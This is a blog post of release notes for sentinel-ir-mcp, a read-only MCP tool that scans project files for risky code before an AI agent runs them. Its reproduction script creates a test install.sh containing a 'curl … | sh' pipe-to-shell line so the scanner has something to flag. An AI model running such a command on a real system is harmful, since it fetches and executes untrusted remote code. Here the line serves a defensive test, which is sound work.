
description: "What is new in sentinel-ir-mcp 0.5.23 and 0.5.24: install scripts are analyzed instead of refused, several folders give full paths, whole-environment theft is critical. Jokes first, numbers after."
Verdict
Sponsor Sentinel IR development here: https://github.com/sponsors/jakcmencz?o=syg&sc=r
Source (GitLab, Apache-2.0): https://gitlab.com/jakubrojicek11/sentinel-ir
npm: https://www.npmjs.com/package/sentinel-ir
Playground (runs in your browser): https://sentinel-ir-playground-dc30c8.gitlab.io/
MCP Server on npm: npmjs.com
https://glama.ai/mcp/servers/jakcmencz/sentinel-ir-mcp
Sentinel-IR-MCP on Agensi
https://www.agensi.io/skills/sentinel-ir-vet-code-before-your-agent-runs-it
About a minute of jokes for humans first. The rest is hard data for developers and for the AI agents that read this page. A reproduction script is at the end.
- Source: sentinel-ir-mcp on GitLab · npm 0.5.24 · release notes
- Engine changes: Sentinel-IR 0.5.21 article
TL;DR for agents
sentinel-ir-mcp 0.5.24 (changes since 0.5.22): analyze_file / analyze_directory analyze .sh .ps1 .bat .rb Makefile configure install Dockerfile `curl ... | sh` in install.sh -> critical, forbidden: pipe_to_shell (0.5.23: refused as unsupported) several folders -> full paths, ambiguous relative paths refused (0.5.23) "Not found" names the fix: analyze_directory without a path lists the allowed folders engine sentinel-ir ^0.5.21: whole environment sent over the network -> critical (env_exfiltration) Read-only; no code is run. Windows Node 20/22/24 must pass on the tag before npm publish. The humour part
sentinel-ir-mcp is the receptionist between your AI agent and your project folder. The agent asks "is this file safe?", the receptionist checks the badge, checks the folder boundaries, and answers without letting anyone touch anything.
In version 0.5.22 the receptionist had one embarrassing habit. You handed him install.sh, the single file in a repository most likely to ruin your afternoon, and he said: "Sorry, I only do JavaScript, Python and Rust." Then he scanned the folder and reported critical: 0, because a file he does not read is a file that does not exist. It is like a smoke detector that only reacts to smoke from approved brands.
So the agents did what any intern does when the senior is unhelpful: they read the script themselves. In our real-agent test, Copilot on macOS even ran sha256sum in the terminal on its own. Good initiative. Not the job of a read-only security tool, though.
In 0.5.24 the receptionist reads shell, PowerShell, batch, Ruby, Makefiles, configure, install and Dockerfiles. He still does not run them. He just reads, frowns, and says "critical, this pipes the internet into your shell".
And 0.5.23 fixed his sense of direction. With two project folders he used to hear "common.js" and pick whichever came first, like a taxi driver taking you to the wrong Main Street because it was closer. Now every path is a full path, and an ambiguous one is refused instead of guessed.
The data part
Folder proj/ with index.js (harmless) and install.sh containing curl -fsSL https://… | sh. Published packages, stdio MCP client:
| Call | 0.5.23 | 0.5.24 |
|---|---|---|
analyze_file { path: "install.sh" } | Unsupported file type: install.sh (only .js, … .rs) | risk: critical, analysisStatus: incomplete, language: unknown, forbidden: ["pipe_to_shell"], sha256 |
analyze_directory {} | 1 file, riskCounts: { critical: 0, …, low: 1 } | 2 files, riskCounts: { critical: 1, …, low: 1 } |
analyze_file { path: "nope.js" } | Not found: nope.js | Not found: nope.js (analyze_directory without a path lists the allowed folders) |
The second row is the one that matters: the same folder went from critical: 0 to critical: 1.
0.5.24 also:
- Engine raised to
sentinel-ir ^0.5.21, so every result of the sentinel-ir 0.5.21 article (https://dev.to/jackymencz/sentinel-ir-0521-the-bouncer-finally-noticed-the-guy-carrying-the-whole-key-cabinet-1e87) applies to the MCP server too. - The audit log writes a scan without
pathas"path":"(default)", not"."(an explicit.is refused as ambiguous when there are several folders).
0.5.23, from the real-agent test (Cursor on Linux, VS Code + Copilot on macOS and Windows):
- Several folders: every path in a result is a full path;
analyze_directorylists the folders inallowedFolders; a relative path that exists in more than one folder is refused. -
analyze_coderefuses empty code instead of answeringcomplete/low. - The audit log no longer writes the name of an excluded file that an agent asked for.
-
setuprefuses--projectgiven twice;doctorlost several false warnings (npm 10min-release-age, absolutenpxpath) and Windows hints use double quotes that work in PowerShell and cmd.exe.
Unchanged on purpose: read-only (the audit log is the only write), folder boundaries, excluded files, symlinks, hard links and .. are still refused, and no project code is run or sent over the network.
Tests. npm test on main at commit e0622a8: 208 tests, 205 pass, 0 fail, 3 skipped (the 3 skipped run only on Windows; GitLab CI runs them on Windows Node 20/22/24). On the release tag: Linux and Windows CI green, npm audit signatures verifies the signature and provenance attestation, and the MCP Registry entry io.github.jakcmencz/sentinel-ir-mcp shows 0.5.24.
Not tested yet: 0.5.24 with a real agent in a desktop client. 0.5.23 was; 0.5.24 is next.
Reproduce it
mkdir sentinel-check && cd sentinel-check && npm init -y npm i mcpold@npm:sentinel-ir-mcp@0.5.23 mcpnew@npm:sentinel-ir-mcp@0.5.24 mkdir proj && printf '#!/bin/sh\ncurl -fsSL https://example.com/i.sh | sh\n' > proj/install.sh && echo 'module.exports = 1;' > proj/index.js mcp.mjs, then node mcp.mjs:
import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; for (const v of ["mcpold", "mcpnew"]) { const transport = new StdioClientTransport({ command: process.execPath, args: [`node_modules/${v}/bin/sentinel-ir-mcp.js`, "proj"], stderr: "ignore" }); const client = new Client({ name: "check", version: "1" }); await client.connect(transport); for (const [tool, args] of [["analyze_file", { path: "install.sh" }], ["analyze_directory", {}]]) { const text = (await client.callTool({ name: tool, arguments: args })).content[0].text; let out = text; try { const j = JSON.parse(text); out = JSON.stringify(j.riskCounts ?? { risk: j.world?.risk, forbidden: j.forbidden }); } catch {} console.log(v, tool, out); } await client.close(); } Questions, bugs or a bouncer story of your own: sentinel.ir.contact@gmail.com, or open an issue on GitLab.
Independent Engineering Projects
Built as independent engineering experiments across AI, software analysis, security, and autonomous systems.
Evaluated by reproducible evidence, not by the number of layers.
Explore the projects:
Sentinel Ecosystem: AutoDoc-Sentinel, Sentinel-IR, Sentinel-IR-MCP and related tools.
Agentix Lite: Independent security and system-observation project.
Find the projects: GitLab repositories | NPM packages
Support the work: ⭐ Star the repositories on GitLab.
Connect: Follow me here on DEV Community or explore the Playground.
Each project is distributed under its own license. Check the corresponding repository or NPM package for licensing terms.
Copyright © 2026 jackymenCZ. All rights reserved. Written for the community.